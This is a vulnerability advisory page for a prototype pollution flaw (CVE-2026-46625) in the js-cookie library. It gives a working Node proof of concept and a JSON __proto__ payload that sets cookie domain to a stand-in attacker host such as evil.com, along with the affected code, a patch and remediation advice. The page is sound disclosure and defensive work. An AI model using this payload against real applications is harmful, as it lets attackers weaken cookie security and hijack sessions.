Skip to main content

js-cookie CVE-2026-46625

HIGH
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-05-21 https://github.com/js-cookie/js-cookie GHSA-qjx8-664m-686j
7.5
CVSS 3.1 · Vendor: https://github.com/js-cookie/js-cookie
Share

Severity by source

Vendor (https://github.com/js-cookie/js-cookie) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Primary rating from Vendor (https://github.com/js-cookie/js-cookie) · only source for this CVE.

CVSS VectorVendor: https://github.com/js-cookie/js-cookie

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 21, 2026 - 22:00 vuln.today
Analysis Generated
May 21, 2026 - 22:00 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 376 npm packages depend on js-cookie (17 direct, 361 indirect)

Ecosystem-wide dependent count for version 3.0.7.

DescriptionCVE.org

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an *own enumerable* property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js
// src/assign.mjs - full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

bash
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

js
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

js
for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}

AnalysisAI

Cookie-attribute injection in js-cookie versions 3.0.5 and earlier allows remote attackers to override security-relevant Set-Cookie attributes (domain, secure, samesite, expires, path) by supplying a JSON-derived attributes object containing a __proto__ key. Publicly available exploit code exists in the GHSA-qjx8-664m-686j advisory demonstrating per-instance prototype hijack via the assign() helper. No active exploitation has been observed, and the issue is fixed in 3.0.7.

Technical ContextAI

js-cookie is a lightweight JavaScript library (pkg:npm/js-cookie) widely used in browser applications to read and write document.cookie. The root cause is CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes, a.k.a. Prototype Pollution). The internal assign() helper at src/assign.mjs merges argument objects into a fresh target ({}) using a for...in loop with plain assignment (target[key] = source[key]). When the source is produced by JSON.parse, the parser materializes __proto__ as an own enumerable data property; the for...in enumerates it, and the [[Set]] semantics of plain assignment trigger Object.prototype's __proto__ accessor on the target. The result is a per-instance prototype hijack - Object.prototype itself remains clean, but the merged attributes object inherits attacker-controlled keys, which the downstream set() function then walks with another for...in and serializes directly into the Set-Cookie attribute list.

RemediationAI

Vendor-released patch: upgrade js-cookie to 3.0.7 (npm install js-cookie@^3.0.7 or update the lockfile), per the GHSA-qjx8-664m-686j advisory at https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j. If immediate upgrade is not possible, sanitize any object passed as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, and Cookies.withConverter by either constructing a fresh object with an explicit allowlist of attribute keys (path, domain, secure, samesite, expires) or by stripping __proto__, constructor, and prototype keys before invocation - note that JSON.parse with a reviver that returns undefined for those keys is a safer transport-level fix and avoids requiring callers to remember the allowlist. Avoid the temptation to globally freeze Object.prototype as a workaround, since it can break unrelated libraries that rely on legitimate prototype writes.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

CVE-2026-46625 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy